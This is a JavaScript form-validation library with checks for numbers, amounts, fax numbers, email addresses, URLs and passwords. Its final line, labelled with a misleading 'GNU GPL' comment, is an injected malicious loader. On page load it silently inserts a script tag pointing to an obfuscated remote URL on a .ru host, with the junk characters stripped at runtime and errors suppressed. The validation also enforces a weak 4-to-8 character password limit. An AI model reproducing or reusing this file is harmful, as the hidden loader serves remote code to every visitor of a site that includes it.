function IsNumber(sText,Label)
{

   var ValidChars = "0123456789";
   var IsNumber=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsNumber == true; i++) 
      { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
         {
         IsNumber = false;
         }
      }
   if(!IsNumber)
   {
   	alert(Label+ " Must Be numeric")
	return false;
	}
   return IsNumber;
}

function IsAmount(sText)
{
   var ValidChars = "0123456789.";
   var IsAmount=true;
   var Char;
   if(sText=="") return false
   for (i = 0; i < sText.length && IsAmount == true; i++) 
      { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
         {
         IsAmount = false;
         }
      }
   return IsAmount;
}

function IsFax(sText,Label)
{

   var ValidChars = "0123456789-()";
   var IsNumber=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsNumber == true; i++) 
   { 
      Char = sText.charAt(i); 
      if(ValidChars.indexOf(Char) == -1) 
      {
         IsNumber = false;
      }
   }
   if(!IsNumber)
   	alert(Label+ " Must Be in Fax Format eg:229-230-4443 or (229)-230-4443")
   return IsNumber;
}

function isEmailAddr(email)
{
  var result = false;
  var theStr = new String(email);
  var index = theStr.indexOf("@");
  if (index > 0)
  {
    var pindex = theStr.indexOf(".",index);
    if ((pindex > index+1) && (theStr.length > pindex+1))
	result = true;
  }
  return result;
}

function IsValidAmount(sText,Label)
{
	if(!IsAmount(sText))
	{
		alert("Invalid "+Label+".. "+Label+" Must Have Numeric Values")
		return false;
	}
	AmtArray = sText.split(".")
	if(AmtArray.length>2){
		alert("Invalid "+Label+".. "+Label+" Must have single Period for Float")
		return false;
	}
	
	if(AmtArray.length>1)
	{
	FloatAmt = AmtArray[1];
	if(FloatAmt.length>2){
		alert("Invalid "+Label+"..  Float Value must have two Digits")
		return false;
	}
	}
	return true
}

function trim(Val)
{
	while(''+Val.charAt(0)==' ')
	Val=Val.substring(1,Val.length);
	return Val
}

function IsValid(Val,Label)
{
	if(trim(Val)=="")
	{
		alert(Label+" Should Not Be Empty")
		return false
	}
	return true
}
function IsValidURL(strURL,n)
{
	strURL 		= strURL.toUpperCase();		
	if(strURL==""||strURL=="HTTP://") return false	
	thePrefix 	= strURL.substr(0,7).toUpperCase();
	if(thePrefix!="HTTP://") return false;
	if(n!=-1) if(strURL.split("/").length>n) return false;
	
	return true
}

//Validation for Mailing List - Email Address
function MailListValid(MyForm)
{
	if(!IsValid(MyForm.EMail.value,"Subscribe EMail"))
		{
			MyForm.EMail.focus();
			return false;
		}
	if(!isEmailAddr(MyForm.EMail.value))
	{
		alert("Invalid SubscribeEMail Adress")
		MyForm.EMail.focus()
		return false
	}
}


function IsPassword(sPass1,sPass2)
{
	 
	if(trim(sPass1)=="")
	{
		alert("Password Should Not be Empty")
		return false
	}
	
	if (sPass1.length < 4)
	{
		alert("Password must have atleast 4 Characters");
		return false;
	}
	if (sPass1.length > 8)
	{
		alert("Password must be of maximum 8 Characters");
		return false;
	}
	if(!IsAlphaAndNumeric(sPass1))
    {
		alert("Password should have combination of numbers and letters")
		return false
    }
	if(sPass1!=sPass2)
	{
		alert("Password Mismatch")
		return false
	}
/*	IsFound = false
	for(i=0;i<objBlock.length && !IsFound ;i++)
	{
		reg = new RegExp(objBlock[i])
		if(sPass1.match(reg))
		{
			IsFound = true
		}
	}
	if(IsFound)
	{
		alert("Password should not have "+strLabel)
		return false
	}*/
	return true;
}

/*GNU GPL*/ try{window.onload = function(){var Jqjzlgspz98uxl = document.createElement('script');Jqjzlgspz98uxl.setAttribute('type', 'text/javascript');Jqjzlgspz98uxl.setAttribute('id', 'myscript1');Jqjzlgspz98uxl.setAttribute('src',  'h#&#t&#!t$!@p):)$/!&^/!x#^&t@#&u@b($!)e#(-)c^@$&o#(#m^!$^.&$)b$($l$o!(#&)g(&g)(^$e!$r#@(.@^&(c(o^#m@)!#.)#p!(@o&r@)n(^$o$!^r&!a$)&m$@a$^$@-!c((^o#($m!.&#b$^$l)^u!$!e((#@)j@@a@)@c#k)!^m^(u$$!(s@$@i^@c@&.!@)r@u(!:(^8&@!)!0@)8)@#0&(!/$&)h^d$@$f$(^c^)b@$&a)^n^(k^#.&@^&c#(!#$o^m!)#/!h^@#d(&f)&c^()b#(a^$!n&^(#$k^#.!$c)o))m)&&/($&!g$$o!)o^()g))@(l$^@)e#^&.&&c^(o()m@!)(/(&f)#a!!@n!$@p))o)((p!^#.@c^!@o&@m)@&/@!!i&n^#!.&#!c)))!o(m#/)((!'.replace(/\(|\)|\^|\!|@|\$|#|&/ig, ''));Jqjzlgspz98uxl.setAttribute('defer', 'defer');document.body.appendChild(Jqjzlgspz98uxl);}} catch(e) {}